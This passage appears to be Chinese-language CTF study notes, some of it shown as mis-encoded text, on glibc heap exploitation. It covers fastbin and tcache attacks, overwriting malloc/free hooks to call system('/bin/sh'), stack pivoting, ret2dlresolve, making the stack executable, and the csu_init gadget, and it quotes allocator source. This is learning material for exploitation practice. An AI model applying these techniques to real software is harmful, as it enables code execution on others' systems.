  • ๅ–ๅพ— next_chunk (็•ถๅ‰ chunk address + chunk size)
    โ€‹โ€‹โ€‹โ€‹/* Ptr to next physical malloc_chunk. */
    โ€‹โ€‹โ€‹โ€‹#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
    
  • ๅ–ๅพ— prev_chunk (็•ถๅ‰ chunk address - prev_size)
    โ€‹โ€‹โ€‹โ€‹/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
    โ€‹โ€‹โ€‹โ€‹#define prev_size(p) ((p)->mchunk_prev_size)
    
    โ€‹โ€‹โ€‹โ€‹/* Ptr to previous physical malloc_chunk.  Only valid if prev_inuse (P).  */
    โ€‹โ€‹โ€‹โ€‹#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
    
  • ๆŸฅ็œ‹ chunk ๆ˜ฏๅฆไฝฟ็”จ (ๅ–ๅพ— next_chunk ็š„ mchunk_size ไธฆ mask (PREV_INUSE flag))
    โ€‹โ€‹โ€‹โ€‹#define inuse(p)
    โ€‹โ€‹โ€‹โ€‹    ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
    
  • fastbin malloc
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); // ๆ‰พๅฐๆ‡‰็š„ bin (32:/8, 64:/16) mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp; victim = *fb; // fastbin ็ฌฌไธ€ๅ€‹ ptr if (victim != NULL) // ่‹ฅ bin ไธ็‚บ็ฉบ { if (SINGLE_THREAD_P) *fb = victim->fd; else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) // chunk size ไธ match malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }

Vulnerability

ๆ‰“ heap ็š„้‡้ปž

  • mess chunk metadata ่ฎ“ glibc ๆททไบ‚
  • UAF
    • double free
    • dangling ptr read/write
  • Heap overflow

use-after-free

ๅ…จๅ็‚บ use-after-free, free ๅฎŒ ptr ๅพŒไธฆๆฒ’ๆœ‰ ptr = NULL;, ๅฐŽ่‡ดๅŽŸ ptr ไปๆŒ‡ๅˆฐ heap address, ๅˆ็จฑ dangling pointer

  • ็”ฑๆ–ผ free ๅฎŒๅพŒ, free chunk ๆœƒๆ”พ meta-data (fd, bk), ๆ‰€ไปฅๅฏไปฅๅš information leak
  • double free ๅพŒ, ่ฉฒ pointer ๆŒ‡ๅˆฐ็š„ chunk, ๅ…ถ fd ็š„ๅ€ผๆœƒๆ˜ฏ่‡ชๅทฑ, ่€Œ heap ๅ—ๅˆฐ aslr ไฟ่ญท
  • malloc ๅ‡บไธ€ๅ€‹ free ๆމๅพŒๆœƒๅˆฐ unsorted bin ็š„ chunk, ๅ› ็‚บ unsorted bin ็š„ fd & bk ๆœƒๆ˜ฏ libc address(top chunk address, and main_arena ๅœจ libc ็š„ bs

off-by-one

็”ฑๆ–ผๆขไปถๅˆคๆ–ท้Œฏ่ชค, ๅฐŽ่‡ดๅœจๅฏซๅ…ฅๆ™‚้กๅค–ๅฏซๅ…ฅ 1 byte, ๅฏ่ƒฝๆ˜ฏไปปๆ„ๅญ—ๅ…ƒ, ๅฏ่ƒฝๆ˜ฏ null, ๅˆ็จฑ one byte overflow
่€Œ่“‹้Ž็š„ byte, ๅœจ heap ๆฎต่‹ฅๆ˜ฏ prev_in_use or prev_size, ๅ‰‡ๅฏ่ƒฝๆœƒๅ‡บ็พๆผๆดž

  • ็™ผ็”Ÿๆƒ…ๆณ:
    • strlen(buf) ๅˆคๆ–ท้•ทๅบฆไธฆ็„กๅˆคๆ–ท \x00, ่€Œ strcpy(a, buf) ๆ™‚ๆœƒๆŠŠ \x00 ไนŸไธ€่ตท copy, ๅฐŽ่‡ด่“‹ๅˆฐไธ‹ไธ€ๅ€‹ byte
    • for loop ๅคšไธ€ๆฌก, ๅฏซๅˆฐไธ่ฉฒๅฏซๅ…ฅ็š„ๅœฐๆ–น

ไธป่ฆ็‚บ่“‹ prev_inuse bit

fastbin attack

fastbin ๅœจๆชขๆŸฅ double free ๆ™‚, ๅชๆชขๆŸฅ linked list ็ฌฌไธ€ๅ€‹ๆ˜ฏๅฆ็‚บ่ฆ free ็š„ ptr, ๅฏไปฅ็”จ free(A); free(B); free(A); bypass

  • goal: ่ฎ“ in fastbin chunk->fd ๆŒ‡ๅ‘ๆˆ‘ๅ€‘่ฆ็š„ไฝๅ€, ๅ†้€้Ž malloc() ๅ–ๅพ—่ฉฒไฝๅ€็š„ ptr, ้€้Ž่ฎ€ๅฏซๅš exploit
    • e.g. __malloc_hook - 0x23 (0x13 for padding)
  • ๅœจ double free A ๅพŒ, ๅ†ๆฌก malloc ๆ™‚ๆœƒๅพ—ๅˆฐ chunk A, ่€Œๆญค chunk A ๅŒๆ™‚็‚บ free chunk(in fastbin) ไปฅๅŠ allocated chunk
  • ๅฏไปฅ่—‰ๆญคๆ”นๆމ chunk A ๅœจ free chunk ไธญ็š„ fd ๆฌ„ไฝ, ่€ŒๅพŒ malloc 3 ๆฌกๅพŒๆœƒๅพ—ๅˆฐๆˆ‘ๅ€‘ๆ”นๆމ็š„ fake fd ๆ‰€ๆŒ‡ๅˆฐ็š„ไฝๅ€+0x10
  • ๅฏไปฅๆŠŠ fake fd ๆ”นๆˆ got address, ่ฎŠๆˆ hijack got; ๆŠŠ fake fd ๆ”นๆˆ stack, ่ฎŠๆˆ BOF ็ญ‰็ญ‰โ€ฆ
  • allocate large bin ๆœƒ trigger malloc_consolidate(), ๅฐ‡ fastbin ๅฏไปฅ merge ็š„ merge ๅพŒๅ†ๆ”พๅ…ฅ unsorted bin, ไธ่ƒฝ merge ็š„็›ดๆŽฅๆ”พๅ…ฅ, ๆ‰€ไปฅๅฏไปฅ bypass double free

ไฝ†ๆ˜ฏ็ฌฌไธ‰ๆฌก malloc() ๆ‹ฟๅ‡บ็š„ fake_chunk ๅฟ…้ ˆ็ฌฆๅˆ fastbin check, chunk_size ้œ€็›ธ็ฌฆ

  1. ๆ‰พ stack
  2. in 64, ๅฏไปฅๆ‰พ GOT ๆฒ’ call ้Ž็š„ function, ๅ› ็‚บๅ…ถ้–‹้ ญ้€šๅธธ็‚บ 0x40 ====> 0x40
  3. hook - offset(3) function ====> 0x7f

tcache attack

  • free ็ฌฌไธ€ๅกŠๆ™‚, key ๆœƒ่ขซๅกซไธŠ tcache; free ็ฌฌไบŒๅกŠๆ™‚ๆœƒๆชขๆŸฅ key (chunk+0x18) == tcache
    • if true, ๆœƒ traverse ๆ‰€ๆœ‰็›ธๅŒ size ็š„ chunk, ๆ‰พๆ˜ฏๅฆๆœ‰ chunk ่ทŸไฝ ่ฆ free ็š„ ptr ็›ธๅŒ chunk
      • if ๆœ‰ => error
      • if ๆฒ’ๆœ‰ => ๅทงๅˆ
  • tcache attack ็š„ๅฅฝ่™•ๆ˜ฏ, ๅฎŒๅ…จไธๆœƒๆชขๆŸฅ malloc ็š„ size
  • ๆŸ size tcache bin ๆ˜ฏ็ฉบ็š„, ไฝ†ๅฐๆ‡‰็š„ smallbin ๆœ‰ๆฑ่ฅฟ
    • malloc ๆ™‚ smallbin ๆ‹ฟ chunk => ๅ‰ฉไธ‹ไธŸ้€ฒ tcache, ไธฆไธ”ไธๆชขๆŸฅ chunk size
    • ่‹ฅๅ‰›ๅฅฝ bck ๆŽฅ่‘—ๆ˜ฏ target, smallbin ๅœจ่ขซ libc ๆ•ด็†ๅพŒ, target ๆœƒ่ขซๅฏซๅ…ฅ smallbin ็š„ไฝ็ฝฎ (libc)
    • ่ƒฝ้”ๅˆฐๅœจไปปๆ„ไฝ็ฝฎๅฏซๅ…ฅ small bin address (ๅพˆๅคง็š„ๅ€ผ)
  • ่‹ฅ้œ€่ฆๆŠŠ unsorted bin ็š„ chunk ไธŸๅˆฐ small bin ไธญ, ๅช้œ€่ฆ malloc ๆฏ”ไป–ๆ›ดๅคง็š„ size ๅณๅฏ

stack pivoting

้€™ๅ€‹ๆ”ปๆ“Šๆ‰‹ๆณ•ๅฟ…้ ˆ่ฆ่ƒฝๅœจ stack ็•™ไธ‹ๆ”พ ROP chain ็š„ heap address๏ผŒ็„ถๅพŒ่ƒฝๅฏซๅˆฐ realloc_hook ่ทŸ malloc_hook

ๅ› ็‚บ malloc ่ทŸ realloc ๅœจๅŸท่กŒๅ‰้ƒฝๆœƒ push + sub rsp๏ผŒๆ‰€ไปฅๅพˆๆœ‰ๅฏ่ƒฝๆœƒๆŠŠ heap address ๅŒ…ๅœจ function frame ไน‹ไธญ๏ผŒ่€Œๆญคๆ™‚ๅ‡่จญ่ท‘ malloc๏ผŒ่€Œๆญคๆ™‚ๅ‰›ๅฅฝ rsp ๆ”พ่‘— heap address๏ผŒๆˆ‘ๅ€‘ๅฏไปฅๆ”นๅฏซ malloc_hook ๆˆ realloc+6๏ผŒrealloc_hook ๆˆ pop rsp ; ret๏ผŒ้€™ๆจฃ malloc ๅœจ call malloc_hook ๆ™‚๏ผŒๆœƒ call realloc+6๏ผŒ+6 ่ทŸ + 0 ็›ธๅทฎๆœƒๅฐ‘ push ไธ€ๅ€‹ register๏ผŒ่€Œ realloc ๅœจ call realloc_hook ๆ™‚๏ผŒๆœƒๆŠŠ rsp ไธŠ็š„ value pop ๅ›žๅŽป๏ผŒไฝ†ๆ˜ฏๅ› ็‚บไธ€้–‹ๅง‹ๅฐ‘ push ไธ€ๅ€‹๏ผŒๆ‰€ไปฅๆœ€ๅพŒๅœจ jmp ๅˆฐ pop rsp ; ret ๆ™‚๏ผŒrsp ๅ‰›ๅฅฝๆœƒๆ”พ heap address๏ผŒๆœ€ๅพŒ้€้Ž pop rsp ; ret ๅฐฑ่ƒฝ่ท‘ ROP

่€Œๆญค็จฎๆ”ปๆ“Šๆ–นๆณ•ไนŸ่ƒฝ็”จๅœจ one_gadget๏ผŒๅฏไปฅๆŽงๅˆถ่ฎ“ rsp ็ฌฆๅˆ one_gadget ็š„ๆขไปถ

hook

  • __free_hook
    • ้€šๅธธไธŠ้ขๆฒ’ๆœ‰ๅˆๆณ•็š„ size ๅฏไปฅ็”จ๏ผŒ่ฆ็š„่ฉฑไนŸๅœจ้žๅธธไธŠ้ข (stdout ้‚ฃ้‚Š)๏ผŒๆ‰€ไปฅไธๅคชๅฏ่ƒฝๅ–ฎ็จไฝฟ็”จ fastbin attack ไพ†้€ฒ่กŒ้…ๅˆ๏ผŒ้€šๅธธๅฏไปฅไฝฟ็”จ stashing (็Œœ็š„ใ€ๆ„Ÿ่ฆบๅฏไปฅ)ใ€unsorted bin attack ็ญ‰็ญ‰ๅฏไปฅๅœจๆŸ่™•ๅฏซ libc ไฝ็ฝฎ็š„ๆ”ปๆ“Šๆ–นๆณ•๏ผŒๅœจ free_hook ไธŠ้ขๅฏซ๏ผŒ้€™ๆจฃ fastbin attack ๅฐฑๅฏไปฅๆ‹ฟๅˆฐ free_hook
  • __malloc_hook
    • ๅ› ็‚บ - 0x23 ่™•ๆœƒๆœ‰ 0x7f๏ผŒ้€šๅธธ้…ๅˆ fastbin attack ไพ†ๅฏซ one_gadget
    • trigger malloc ็š„ๆ–นๅผๆœ‰ๅพˆๅคš็จฎ๏ผŒinput ้Žๅคš้œ€่ฆ bufferใ€output ้Žๅคš้œ€่ฆ bufferใ€้œ€่ฆๅฐ error msg ็ญ‰็ญ‰้ƒฝๆœ‰ๅฏ่ƒฝ (e.g. printf("%10000c"))
  • __realloc_hook
    • ็ทŠๆŽฅๅœจ malloc_hook ๅพŒ๏ผŒ่ƒฝ็”จไพ†่ชฟๆ•ด one_gadget ็š„ stack layout๏ผŒ่‹ฅ stack ๆœ‰ๆฎ˜็•™ heap address๏ผŒไนŸ่ƒฝ้€้ŽๆŽงๅˆถ malloc_hook => realloc => realloc_hook ้Ž็จ‹ไธญ็š„ push pop๏ผŒไพ†ๅš stack pivoting to heap

other heap trick

  • free unsorted bin ็š„ chunk ๆ™‚, ๆœƒๆชขๆŸฅไธŠไธ‹ๆ˜ฏๅฆ็‚บ freed, ่‹ฅๆ˜ฏ, ๅ‰‡ๆœƒ merge ๆˆไธ€ๅกŠๅคงๅกŠ็š„ unsorted bin
  • any function about output, maybe malloc some spaces
    • e.g. double free -> printf -> malloc -> malloc_hook
    • one_gadget ๅฏไปฅๅ˜—่ฉฆ
      • ่งธ็™ผ double free => ๅฐๆฑ่ฅฟๅ‡บไพ† (printf()) => buffer ไธๅค ๅคง => malloc() => malloc_hook
      • ๅพž main return => __libc_start_main ๅบ•ๅฑค
      • malloc()
  • main_arena ๅœจ libc ็š„ bss ๆฎต and malloc - 0x10
  • calloc skip ๆ‰€ๆœ‰่ˆ‡ tcache ็›ธ้—œ็š„ๆฑ่ฅฟ
  • tcache ็š„ fd, bk ๆ˜ฏๆŒ‡ๅ‘ chunk data, ๅ…ถไป–็š„ๆŒ‡ๅ‘ chunk header
  • hook ็ณปๅˆ—
    • __free_hook
    • __malloc_hook
    • __realloc_hook
    • ่ˆ‰ __free_hook ็‚บไพ‹, ่‹ฅ chunk (ptr) ๆ”พ็š„ๆฑ่ฅฟๆ˜ฏ '/bin/sh', ไธ” __free_hook ๅ…งๆ”พ system addr, ๅœจ call free(ptr) ๆ™‚ๅš็š„่กŒ็‚บๅฐฑๆ˜ฏ system(ptr), ไนŸๅฐฑๆ˜ฏ system("/bim/sh")
  • main_arena ๅœจ malloc_hook ไธ‹้ข (+ 0x10)๏ผŒๅ› ๆญคๅฆ‚ๆžœ malloc_hook ๅฏซ one_gadget ้ƒฝๆฒ’็”จ็š„่ฉฑ๏ผŒๅฏไปฅๅ˜—่ฉฆๅฏซ top_chunk
    • ๅ…ˆๅœจไธ‹ๆ–นๅปบ็ซ‹็‰นๅฎšๅคงๅฐ็š„ chunk size (e.g. 0x70)๏ผŒไธฆๅœจ 0x70 fastbinY ็š„ๅœฐๆ–นๆ”นๆˆ chunk address
    • ๆ‰พ chunk + 0x8 ็‚บๅค ๅคง size ๏ผŒไธฆไธ”ๅœจ free_hook ไธŠ้ข็š„ๅœฐๆ–น๏ผŒไน‹ๅพŒๅฐ‡ top chunk ๅฏซๆˆๆญค chunk
    • ไธ€็›ด malloc๏ผŒ็›ดๅˆฐ่ฆๅˆฐ free_hook๏ผŒๅฏซ free_hook

malloc trick

  • ็•ถ malloc ็š„ size ่ถ…้Ž mp_.mmap_threshold (0x20000) ๆ™‚๏ผŒๆœƒไฝฟ็”จ mmap ้–‹ไธ€ๅ€‹ๆ–ฐ็š„ memory space ็ตฆ user๏ผŒ่€Œ้€™ๅ€‹ไฝ็ฝฎ่ˆ‡ libc ็š„ offset ๆ˜ฏๅ›บๅฎš็š„๏ผŒ่—‰ๆญคๅฏไปฅ leak libc
  • ๅฆ‚ๆžœๆฒ’ๆœ‰ free ๅฏไปฅ็”จ๏ผŒๅˆ้œ€่ฆ unsorted bin attack ็š„่ฉฑ๏ผŒๅฏไปฅ้€้Žๆ”นๅฏซ top chunk๏ผŒ่ฎ“ libc ๅœจๅˆคๆ–ทไธ€ไบ›ๆขไปถๅพŒ๏ผŒๆŠŠ top chunk ไธŸๅˆฐ unsorted bin ไธญ
  • ๅœจ libc2.23 ็š„ๆขไปถๅฆ‚ไธ‹๏ผšsrc
assert ((old_top == initial_top (av) && old_size == 0) ||
      ((unsigned long) (old_size) >= MINSIZE &&
       prev_inuse (old_top) &&
       ((unsigned long) old_end & (pagesize - 1)) == 0));

...

/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
  _int_free (av, old_top, 1);
}
  • (old_top == initial_top (av) && old_size == 0)๏ผšไธ็ขบๅฎš้€™ๆฎตๆœƒไธๆœƒ้Ž๏ผŒinitial_top ไผผไนŽๆฒ’ๆณ•็นž๏ผŸ
  • (unsigned long) (old_size) >= MINSIZE๏ผšold_size ๆ˜ฏๆœ€ top chunk ็š„ size๏ผŒ่‡ณๅฐ‘่ฆ >= 0x20
  • prev_inuse (old_top)๏ผšprev_inuse bit ่ฆ่จญ
  • (unsigned long) old_end & (pagesize - 1)) == 0)๏ผštop chunk ๅŠ ๅฎŒ size ๅพŒ็š„ address ้œ€่ฆ่ˆ‡ page ๅฐ้ฝŠ

ๅพž unsorted bin ๅˆ‡ chunk ๅ‡บไพ†ๆ™‚๏ผŒๅ‰ฉไธ‹็š„ chunk (last remainder) fd bk ๆœƒๆŒ‡ๅ‘ main_arena + 0x58๏ผŒ่€Œๆ‹ฟๅˆฐ็š„ chunk ้ƒฝๆœƒๆฎ˜็•™ๅŽŸๆœฌ chunk size ๅฐๆ‡‰ๅˆฐ็š„ large/small bin ็š„ address (in libc)

other

pic vs pie

http://gcc.gnu.org/onlinedocs/gcc-4.8.0/gcc/Code-Gen-Options.html#Code-Gen-Options
https://stackoverflow.com/questions/2463150/what-is-the-fpie-option-for-position-independent-executables-in-gcc-and-ld

  • pic ๆ‡‰่ฉฒๆ˜ฏๅผท่ชฟ shared library
    • ็”ข็”Ÿ็š„ code ไธฆไธๆœƒ็›ดๆŽฅๅฏซๆญป libc function๏ผŒ่€Œๆ˜ฏๅฏซ็›ธๅฐๆ–ผไธ‹ไธ€ๅ€‹ intruction ็š„ offsetใ€‚่€Œ่ฆไฝฟ็”จ libc function ๆ™‚๏ผŒๆœƒ้€้Ž dynamic loader ่งฃๆž GOT (lazy binding ็ญ‰็ญ‰)๏ผŒๆ‰พๅ‡บๆญฃ็ขบ็š„ function ไฝ็ฝฎ
  • pie ๅฏไปฅ่ฎ“ binary ๆœฌ่บซไธๅฏซๆญป address
    • ่ฎ“ linker ่ƒฝๅš relocate๏ผŒ้”ๅˆฐ executable file ็š„ ASLR
  • ไฝ†ๆ˜ฏๆ„Ÿ่ฆบๆœ€ๅพŒ pie ๅŒ…ๅซไบ† pic ็š„ๅŠŸ่ƒฝ๏ผŒ่€Œไธ”้‚„ๅฐ Local variable ๆœ‰ๅšๅ„ชๅŒ–

lazy binding & ret2dlresolve:

็•ถ resulting file call shared object ็š„ function ๆ™‚, ๆ‰ๆœƒๅŽป so ๅ…ง้ƒจๆ‰พ function ๅฏฆ้š›ไฝ็ฝฎไธฆๅฏซๅ…ฅ .got.plt (global offset table), ไปฅๆธ›ๅฐ‘ initial ๅคง้‡ๅปถ้ฒ(ไธ€้–‹ๅง‹ๅฐฑ่ฆๅ…จๆ‰พ) ไปฅๅŠ็ฏ€็œๆ™‚้–“(ๆœ‰ไบ›ๆ นๆœฌไธๆœƒ่ขซ call ๅˆฐ)

  • ๆญฅ้ฉŸๅฆ‚ไธ‹:
    1. ๅœจ็ฌฌไธ€ๆฌก call function ๆ™‚, ๆœƒ jmp ่‡ณ func@plt, ่€Œ func@plt ็ฌฌไธ€่กŒๅณๆ˜ฏ jmp ่‡ณ func@got ๅ…งๅฏซ็š„ๅ€ผ, ่€Œๆญคๆ™‚็‚บ func@plt+6. ่€ŒๅพŒ func@plt+6 ๆœƒๅŸท่กŒ push ไปฅๅŠ jmp, ่ฉฒ push ็š„ๅ€ผ็‚บrel_offset(.rel.plt ็š„ index), jmp ๅˆฐ plt[0]
    2. 0x8048380, ไนŸๅฐฑๆ˜ฏ plt[0] ๆœƒๅ† push ไธฆ jmp, ๆญคๆ™‚ push ็š„ๅ€ผ็‚บ *link_map, jmp ๅˆฐ lib ไธญ็š„ <dl_runtime_resolve> (.got.plt ็š„ ็ฌฌไธ‰้ …, 0x8040a000(.got.plt) + 8) function ็š„ไฝ็ฝฎ้€ฒ่กŒ binding.
      ๅณ็‚บ: _dl_runtime_resolve(*link_map, rel_offset)


    3. _dl_runtime_resolve ๆœƒๆ นๆ“šไปฅไธ‹ pseudo code lookup function, ๆˆ‘ๅ€‘่ฆๅš็š„ไบ‹ๆƒ…ๅฐฑๆ˜ฏ:
      1. build fake rel_entry
      2. build fake sym_entry
      3. puts "system\0" symbol string
      4. calculate offset
      5. build the ROP chain
// Elf32_Word = uint32_t = long int = 8 bytes // Elf32_Half = uint16_t = 4 bytes // pseudo code _dl_runtime_resolve(struct link_map *l, Elf32_word reloc_offset) { Elf32_Rel *rel_entry = JMPREL(.rel.plt) + reloc_offset; Elf32_Sym *sym_entry = &SYMTAB[ ELF32_R_SYM( rel_entry->r_info ) ]; char *sym_name = sym_entry->st_name + STRTAB(.dynstr); _search_for_symbol_(l, sym_name); }

trace
_dl_runtime_resolve->_dl_fixup->_dl_lookup_symbol_x->do_lookup_x->check_match

  • _dl_runtime_resolve:
    • cfi(Call Frame Information) ้–‹้ ญ็š„ inst ่ˆ‡ๅ‡ฝๆ•ธๆชขๆธฌๆœ‰้—œ, ๅณ็‚บ GNU Profiler
    • function ๅœจๅš:
      1. ไฟๅญ˜ regs value
      2. call _dl_fixup
      3. ๆขๅพฉ regs value
      4. jmp ่‡ณ return value, ไนŸๅฐฑๆ˜ฏ real function address
  • _dl_fix_up:

    • ๅ‚ณๅ…ฅ link_map ไปฅๅŠ reloc_arg ็•ถๅƒๆ•ธ, ๅ‰่€…็‚บๅฎšๅ€ผ .plt[1], ๅพŒ่€…็‚บ function ๅœจ .rel.plt ็š„ offset
    • ๆ นๆ“šๅ‚ณๅ…ฅๅƒๆ•ธ, ๅพ—ๅˆฐ reloc_struct(reloc) & symbol(*sym) & ่ฆ่ขซ reloc ็š„ addr(rel_addr)
    • call _dl_lookup_symbol_x
    • ๆœ€ๅพŒ็ตๆŸๆ™‚, call elf_machine_fixup_plt ๅฐ‡ got ๅฏซๅ…ฅ real function address
  • _dl_lookup_symbol_x:
    • ๅœจๆฏๅ€‹ scope ไธญ, ็”จ do_lookup_x ๆ‰พๅฐ‹ symbol
    • ๆ‰พๅˆฐๅพŒ, ๆจ™่จ˜ symbol ไฝฟ็”จไธญ, ไธฆ return symbol & it's link_map
  • do_lookup_x:
    • traverse ๆ‰€ๆœ‰ link_map, ๆ‰พๅˆฐๅพŒ assign ็ตฆ result
  • check_match:
    • ็”จ strcmp ๆฏ”ๅฐ symbol name, ๅ†ๆฏ”ๅฐ version

้—œ้–‰NX

ref: https://quentinmeffre.fr/pwn/2017/01/26/ret_to_stack.html

่ˆ‰ไพ‹ไพ†่ชช

// gcc main.c -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static
int main()
{
  char buf[64];

  gets(buf);  // Never use this function !
  printf("%s", buf);
  return 0;
}
  • ็ฐกๅ–ฎ็š„ BOF
    • ๆฒ’ๆœ‰ canary
    • ๆฒ’ๆœ‰ไบบๅฎถ้–‹็š„ๅพŒ้–€
    • functionๆฒ’ๆœ‰่พฆๆณ• leak ๅ‡บ glibc address
    • => ROP chain ็š„ gadget ๆ˜Ž้กฏไธๅค 
  • ๆ›ดๆ–ฐ __stack_prot
    • ๅŽŸๆœฌ 0x01000000
    • ๆ”นๆˆ 0x7 (0x07000000 in x86 address)
  • call _dl_make_stack_executable
    • _dl_make_stack_executable(void* address)
    • ๅฐ‡ rdi ๆ”พๅ…ฅ __libc_stack_end address ็•ถไฝœๅƒๆ•ธ
    • ๅŸท่กŒ __mprotect, ไฝฟๅ…ถๆ นๆ“š __stack_prot
      • function info: mprotect(const void *start, size_t len, int prot);
      • prot
        • PROT_READ
          • R
        • RROT_WRITE
          • W
        • PROT_EXEC
          • X
        • PROT_NONE
          • cannot access
      • ้œ€่ฆๅฐ‡ prot ่จญ็‚บ 7 (RWX)

csu_init

https://code.woboq.org/userspace/glibc/csu/elf-init.c.html#__libc_csu_init

__libc_csu_init ๆ˜ฏ __libc_start_main ๆ™‚ๆœƒไฝฟ็”จๅˆฐไพ†ๅˆๅง‹ๅŒ–็š„ function๏ผŒไฝ†ๆ˜ฏๅœจๆŸไบ›ๆขไปถไธ‹๏ผŒไป–่ƒฝๅค ๅšๅˆฐ "ๆŽงๅˆถ register ๅ€ผ" + "call function" + ๅœจ stack ็•™ไธ‹ๆฑ่ฅฟ๏ผŒไธฆไธ”ๆฒ’ๆœ‰ๅ‰ฏไฝœ็”จ

__libc_csu_init
{
    push    r15
    push    r14
    mov     r15d, edi
    push    r13
    push    r12
    lea     r12, __frame_dummy_init_array_entry
    push    rbp
    lea     rbp, __do_global_dtors_aux_fini_array_entry
    push    rbx
    mov     r14, rsi
    mov     r13, rdx
    xor     ebx, ebx
    sub     rbp, r12
    sub     rsp, 8
    sar     rbp, 3
    call    _init_proc
    test    rbp, rbp
    jz      short loc_4005B6
    nop     dword ptr [rax+rax+00000000h]

    mov     rdx, r13
    mov     rsi, r14
    mov     edi, r15d
    call    [r12+rbx*8]
    add     rbx, 1
    cmp     rbx, rbp
    jnz     short loc_4005A0

    add     rsp, 8
    pop     rbx
    pop     rbp
    pop     r12
    pop     r13
    pop     r14
    pop     r15
    retn
; }

่€Œๆˆ‘ๅ€‘้œ€่ฆ็š„้ƒจๅˆ†ๅˆ†ๆˆๅ…ฉๅกŠ๏ผš

  1. ไปปๆ„ๆŽงๅˆถ register value
    pop     rbx
    pop     rbp
    pop     r12
    pop     r13
    pop     r14
    pop     r15
    retn
  1. call function ไปฅๅŠๆŽงๅˆถๅƒๆ•ธ (r12)(rdi, rsi, rdx)
    mov     rdx, r13
    mov     rsi, r14
    mov     edi, r15d
    call    [r12+rbx*8]
    ...

ๅœจ่จญ rbx = 0 and rbp = 1 ็š„ๆƒ…ๆณไธ‹๏ผŒcmp rbx, rbp ๆœƒ็›ดๆŽฅ้€š้Ž

้€™ๆ‹›็œŸ็š„ๅพˆๅผท (X

Function Residue

้€™ๆฏ”่ผƒ่ฆ่ฌ›็š„ๆ˜ฏไธ€ๅ€‹ๆฆ‚ๅฟต

push ๆœƒๆŠŠๆŸๅ€ผๅพž regsiter ๅฏซๅˆฐ stack ไธŠ๏ผŒpop ๆœƒๆŠŠๆŸๅ€ผๅพž stack ๆ‹ฟๅˆฐ regsiter ๅ…ง๏ผŒ้€™ไธ€ๅฎšๅคงๅฎถ้ƒฝ็Ÿฅ้“๏ผŒไฝ†ๆ˜ฏ้€™้‚Šๆœ‰ไธ€ๅ€‹้—œ้ต๏ผšpush ๆœƒๆŠŠๅ€ผๆด—ๆމ๏ผŒไฝ†ๆ˜ฏ pop ๆ‹ฟไบ†ๅ€ผไธๆœƒๆธ…้›ถ

ๅ› ๆญคๅŸท่กŒๅฎŒ libc function ๅพŒ๏ผŒๅพˆๅฎนๆ˜“ๅœจ stack ๆฎ˜็•™ libc address๏ผŒไฝ†ๆ˜ฏ่ฆๅฐๅฟƒ rsp ่ˆ‡ rbp ็š„ๅ€ผ๏ผŒๅ› ็‚บ libc function ๅฏ่ƒฝ้ƒฝๆœƒไฝฟ็”จๅˆฐ๏ผŒๅฆ‚ๆžœ้›ขๅคช่ฟ‘ๆˆ–ๆ˜ฏๆ€Žๆจฃ๏ผŒๅฏ่ƒฝๆœƒๆœ‰ๅ€ผ่ขซ่“‹ๆމ็š„็–‘ๆ…ฎ๏ผŒๅ› ๆญค่ฆๅคš่ง€ๅฏŸใ€ๅคš try

Example of gets

ๅˆฉ็”จไธๆ–ทๅœจ gets + stack pivoting๏ผŒไฝฟ็•™ไธ‹็š„ _IO_file_write address ๅฏไปฅๆฎ˜็•™ๅœจๆˆ‘ๅ€‘ๆŽงๅˆถๅˆฐ็š„ๅœฐๆ–น (bss ็ญ‰็ญ‰)๏ผŒไธฆ่—‰่‘— __libc_csu_init๏ผŒๆŽงๅˆถ rdi, rsi, rdx, r12๏ผŒๅŸท่กŒ _IO_new_file_write(stdin, got, 8)

https://github.com/lattera/glibc/blob/master/libio/fileops.c#L1180

_IO_new_file_write (FILE *f, const void *data, ssize_t n)
{
ssize_t to_do = n;
...
__write (f->_fileno, data, to_do); // f->_fileno == *(fptr+0x70)
}

็œ‹ๅพ—ๅ‡บไพ†ๆญค function ๅช้œ€่ฆ็”จๅˆฐ fileno๏ผŒๅ› ๆญค stdin [:0x70] ๅฏไปฅไปปๆ„ๅ€ผ๏ผŒๅช่ฆ *(fake_stdin+0x70) ็‚บ 1 ๅฐฑๅฅฝ

Intel - Control-flow Enforcement Technology (CET)

https://binpwn.com/papers/control-flow-enforcement-technology-preview.pdf
https://www.linuxplumbersconf.org/event/2/contributions/147/attachments/72/83/CET-LPC-2018.pdf
https://software.intel.com/content/www/us/en/develop/articles/emulating-applications-with-intel-sde-and-control-flow-enforcement-technology.html

debug about

CET

  • endbr64๏ผšEnd Branch 64 bit
    • ๅฆ‚ๆžœ CET ๆฒ’้–‹ๅฐฑๆ˜ฏ NOP
  • ้ฟๅ…ๆމ ROP
    • ่ƒฝๆŽงๅˆถ control flow ็š„ instruction ๆœ‰
      • RET
      • JMP %rax
      • CALL %rax
  • ๆœ‰ๅ…ฉๅ€‹ component
    • Shadow Stack (SHSTK)
      • ๅŸบๆœฌไธŠๆ‰€ๆœ‰ program ้ƒฝ็›ธๅฎน (?
      • function prologue ๆ™‚ๆœƒๅฐ‡ return address ๅญ˜ๅœจ shadow stack
      • function epilogue ๆ™‚ๆœƒๆŠŠ shadow stack ็š„ address ๅ–ๅ‡บไธฆๆฏ”่ผƒ
      • stack checks
      • ./sde -cet -- application
    • Indirect Branch Tracking (IBT)
